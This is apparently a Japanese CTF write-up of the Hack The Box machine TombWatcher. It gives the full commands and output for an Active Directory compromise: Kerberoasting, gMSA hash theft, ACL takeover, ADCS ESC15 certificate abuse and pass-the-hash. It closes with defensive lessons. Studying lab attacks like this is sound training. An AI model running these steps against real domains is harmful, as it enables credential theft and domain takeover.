Hack The BoxのWriteup(TombWatcher)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: TombWatcher — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (dc01.tombwatcher.htb)
henry(既知資格情報)
alfredへSPN付与→Kerberoast試行
alfred:basketball
INFRASTRUCTUREグループ追加
gMSA(ANSIBLE_DEV$)
msDS-ManagedPassword読取
ForceChangePassword
sam乗っ取り→WriteOwner→john乗っ取り
WinRM as john
user.txt ✓
AD Recycle Bin復元
cert_admin + DACL継承
ADCS ESC15
WebServerテンプレート悪用
Administrator NTハッシュ
PTH → root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.232.167
nmap -Pn -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.232.167
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws          .NET Message Framing
ℹ️
典型的なActive Directoryドメインコントローラの構成。ドメインは tombwatcher.htb、DCホスト名はdc01.tombwatcher.htb
BASH
echo "10.129.232.167  tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts
PHASE 2

既知の初期資格情報からBloodHound調査でACLチェーンを特定

既知の初期資格情報(henry)でBloodHound収集

BASH
bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb \
  -ns 10.129.232.167 -c all --zip
ℹ️
BloodHoundでACLを解析すると以下のチェーンが判明する: henryalfredへのSPN設定権限(GenericWrite等)を持ち、 Kerberoast可能な状態にできる。alfredINFRASTRUCTUREグループへの自己追加権限を持ち、 このグループはgMSA(ANSIBLE_DEV$)の msDS-ManagedPassword読み取り権を持つ。 gMSAはsamへのForceChangePassword権を持ち、 samjohnへのWriteOwner/ GenericAll権を持つ。
PHASE 3

gMSAハッシュ経由でACLチェーンをたどり user.txt を取得

alfred への SPN 付与 → Kerberoast

BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' \
  set object alfred servicePrincipalName -v tombwatcher.htb/Alfred

impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!' \
  -dc-ip 10.129.232.167 -request -request-user alfred
⚠️
落とし穴: 対象ユーザーを指定するフラグは -target-userではなく-request-user。 誤ったフラグ名ではunrecognized argumentsで即座に失敗する。
BASH (取得したTGS-REPをhashcatでクラック)
hashcat -m 13100 alfred.tgs /usr/share/wordlists/rockyou.txt
RESULT
alfred : basketball
BASH (SPNを元に戻す、クリーンアップ)
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u henry -p 'H3nry_987TGV!' \
  remove object alfred servicePrincipalName -v tombwatcher.htb/Alfred

INFRASTRUCTUREグループへ自己追加 → gMSAハッシュ読取

BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u alfred -p basketball \
  add groupMember INFRASTRUCTURE alfred

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u alfred -p basketball \
  get object ANSIBLE_DEV$ --attr msDS-ManagedPassword
RESULT
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NT: 3eca34dd13a85db79c03178b7b149621
msDS-ManagedPassword.B64ENCODED: Knd5o2jlxGq8cmWyoRssAPzz...
⚠️
落とし穴: bloodyADが実際に出力するフィールド名は msDS-ManagedPassword.NT:(.NTLM:ではない)。 gMSAのパスワードは定期的に自動ローテーションされるため、 過去のウォークスルー記載の固定ハッシュ値は別インスタンスでは まず通用しない。必ずライブでこの値を読み取る必要がある。

gMSA(ANSIBLE_DEV$)の Pass-the-Hash で sam のパスワードをリセット

BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u 'ANSIBLE_DEV$' -p :3eca34dd13a85db79c03178b7b149621 \
  set password sam rogue
RESULT
[+] Password changed successfully!

sam の WriteOwner/GenericAll で john を乗っ取り

BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u sam -p rogue set owner john sam

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u sam -p rogue add genericAll john sam

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u sam -p rogue set password john rogue
RESULT
[+] Old owner S-1-5-21-...-512 is now replaced by sam on john
[+] sam has now GenericAll on john
[+] Password changed successfully!
ℹ️
samが自分自身をjohnオブジェクトの所有者(Owner)に設定 → 所有者権限からGenericAllを自分に付与 → GenericAll権限でjohnのパスワードを直接変更、という 古典的なACL悪用チェーン。

WinRM で user.txt 取得

BASH
netexec winrm 10.129.232.167 -u john -p rogue -d tombwatcher.htb \
  -x 'type C:\Users\john\Desktop\user.txt'
RESULT
tombwatcher.htb\john:rogue (Pwn3d!)
ace1aebc63912d3261016b71a63fb4bf
user.txt — john
ace1aebc63912d3261016b71a63fb4bf
PHASE 4

AD Recycle Bin から cert_admin を復元し DACL 継承を付与

削除済みオブジェクト cert_admin を復元

NOTE
BloodHoundの調査で、johnはAD Recycle Bin(削除済みオブジェクトの復元)を
実行できる権限を持ち、かつ削除済みの"cert_admin"アカウントに関連する
権限が残っていることが判明する。PowerShellの Restore-ADObject で
復元できる。
BASH (WinRM経由でPowerShell実行)
netexec winrm 10.129.232.167 -u john -p rogue -d tombwatcher.htb \
  -X "Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'"
cert_adminオブジェクト(objectGUID指定)が復元される。

ADCS OU への FullControl DACL を継承付与

BASH
impacket-dacledit -action write -rights FullControl -inheritance \
  -principal john -target-dn "OU=ADCS,DC=TOMBWATCHER,DC=HTB" \
  tombwatcher.htb/john:rogue
ℹ️
-inheritanceフラグにより、ADCS OU配下の子オブジェクト (証明書テンプレートを含む)にもこのFullControl権限が継承される。 これにより後続でcert_adminのパスワードを自由に変更できるようになる。

cert_admin のパスワードをリセット

BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \
  -u john -p rogue set password cert_admin rogue
RESULT
[+] Password changed successfully!
PHASE 5

ADCS ESC15 で Administrator に成りすまし → root.txt

ESC15 脆弱性の確認

BASH
certipy-ad find -dc-host dc01.tombwatcher.htb \
  -u cert_admin@tombwatcher.htb -p rogue -vulnerable -stdout
RESULT
Certificate Templates
  0
    Template Name    : WebServer
    ...
    Enrollment Rights : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
    ESC15            : Enrollee supplies subject and schema version 1
                        with Client Authentication EKU editable via
                        Application Policies extension
ℹ️
ESC15(CVE-2024相当、schema version 1のEKU編集可能証明書 テンプレート悪用): WebServerテンプレートに cert_adminのenroll権限があり、schema version 1のため 申請者が”Application Policies”拡張でEKU(Enhanced Key Usage)を 自由に指定できてしまう。ここに”Certificate Request Agent” (OID: 1.3.6.1.4.1.311.20.2.1)ポリシーを注入すると、 本来別テンプレートでのみ許可されるはずの「証明書申請代理人」証明書を 取得できてしまう。

証明書申請代理人(Enrollment Agent)証明書を取得

BASH
certipy-ad req -ca tombwatcher-CA-1 -username cert_admin -p rogue \
  -dc-ip 10.129.232.167 -template WebServer \
  -application-policies '1.3.6.1.4.1.311.20.2.1' \
  -target-ip 10.129.232.167
RESULT
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'
⚠️
落とし穴: certipy-ad v5.0.4のフラグはハイフン1本の -application-policies(--application-policies ではない)。誤った表記だとunrecognized argumentsで 即座に失敗しPFXが一切作られない。

Administrator の代理として証明書を申請(on-behalf-of)

BASH
certipy-ad req -u cert_admin -p rogue -dc-ip 10.129.232.167 \
  -target-ip 10.129.232.167 -ca tombwatcher-CA-1 -template User \
  -on-behalf-of 'tombwatcher\administrator' -pfx cert_admin.pfx
RESULT
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
ℹ️
取得した”Enrollment Agent”証明書(cert_admin.pfx)を使い、 Userテンプレートに対して「Administratorの代理として」 証明書を申請する。Enrollment Agent証明書を持つプリンシパルは、 任意のユーザーに成りすました証明書申請が可能になる。

証明書からAdministratorのNTハッシュを取得

BASH
certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx
RESULT (クロックスキュー未対策の場合)
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError:
    KRB_AP_ERR_SKEW(Clock skew too great)
🚨
落とし穴: Kerberos認証は既定でクライアント・ サーバー間の時刻差を最大5分までしか許容しない。攻撃側マシンの 時計がターゲットと大きくずれていると KRB_AP_ERR_SKEWで失敗する。net time -S <target>でターゲットの実時刻を取得し、 faketimeでラップして実行するのが確実。
BASH (faketimeで対象の時刻に合わせて再実行)
TARGET_TIME=$(net time -S 10.129.232.167 | head -1)
faketime "$TARGET_TIME" certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx
RESULT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb':
    aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

Pass-the-Hash で root.txt 取得

BASH
netexec winrm 10.129.232.167 -u administrator \
  -H f61db423bebe3328d33af26741afe5fc -d tombwatcher.htb \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
tombwatcher.htb\administrator (Pwn3d!)
6d25606fb735a40859a0c0508987ae1e
root.txt — Administrator
6d25606fb735a40859a0c0508987ae1e
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — john
ace1aebc63912d3261016b71a63fb4bf
root.txt — Administrator
6d25606fb735a40859a0c0508987ae1e

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Kerberoast可能なSPN付与権 alfred アカウント クラック可能なTGS-REP取得 Medium henryがalfredへSPNを設定できる権限を悪用しKerberoast(結果的にオフライン辞書一致で判明)
gMSA msDS-ManagedPassword読み取り権 ANSIBLE_DEV$ (gMSA) サービスアカウントのNTハッシュ窃取 High INFRASTRUCTUREグループ経由でgMSAの現在有効なNTハッシュを直接読み取り
ACL連鎖(ForceChangePassword→WriteOwner→GenericAll) sam → john 任意アカウントの乗っ取り High gMSAのPass-the-Hashでsamのパスワードをリセットしsamでログインcan、samの権限でjohnの所有者を奪いGenericAllでパスワードリセット
AD Recycle Bin復元権 削除済みcert_adminオブジェクト 失効したはずのアカウントの復活 High Restore-ADObjectで削除済みアカウントを復元し悪用可能な状態に戻す
ADCS ESC15 WebServer証明書テンプレート(schema version 1) Domain Administrator権限への昇格 Critical Application Policies拡張でCertificate Request Agent EKUを注入し証明書申請代理人権限を取得、Administratorに成りすました証明書を発行させNTハッシュを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(AD DC標準ポート群)tombwatcher.htb ドメイン発見
2ACL調査BloodHound(既知資格情報henry使用)henry→alfred→gMSA→sam→johnのACLチェーン特定
3初期突破SPN付与Kerberoast+gMSA Pass-the-Hash+ACL連鎖alfred:basketball → sam/john乗っ取り → user.txt
4準備AD Recycle Bin復元+DACL継承付与cert_admin復活+ADCS OUへのFullControl
5権限昇格ADCS ESC15(Certificate Request Agent EKU注入)Administrator NTハッシュ → root.txt

学んだ教訓 & 防御策

問題点防御策
一般ユーザーがサービスアカウントへのSPN設定権限を持ちKerberoast攻撃を誘発できる 最小権限の原則に基づきSPN管理権限を厳格に制限し、サービスアカウントには十分に強力なランダムパスワードを設定する。
グループメンバーシップ経由でgMSAの現在有効なNTハッシュが読み取り可能なACL設定になっている gMSAのPrincipalsAllowedToRetrieveManagedPasswordを必要最小限のプリンシパルのみに限定する。
ACLの連鎖(ForceChangePassword→WriteOwner→GenericAll)が特権昇格の経路として機能してしまう 定期的にBloodHound等でACL経路を監査し、意図しない権限委譲の連鎖を検出・是正する。
削除済みオブジェクトがAD Recycle Bin経由で復元可能なまま残っており、復元後の権限が失効していない アカウント削除時は関連するACL・グループメンバーシップも明示的にクリーンアップする運用を徹底する。
ADCS証明書テンプレートがschema version 1(Application Policies拡張でEKU編集可能)のまま運用されている(ESC15) 証明書テンプレートをschema version 2以降にアップグレードし、Application Policies拡張による予期しないEKU注入を防ぐ。Microsoftの2024年5月セキュリティ更新プログラムを適用する。
HackTheBox: TombWatcher | 完全攻略レポート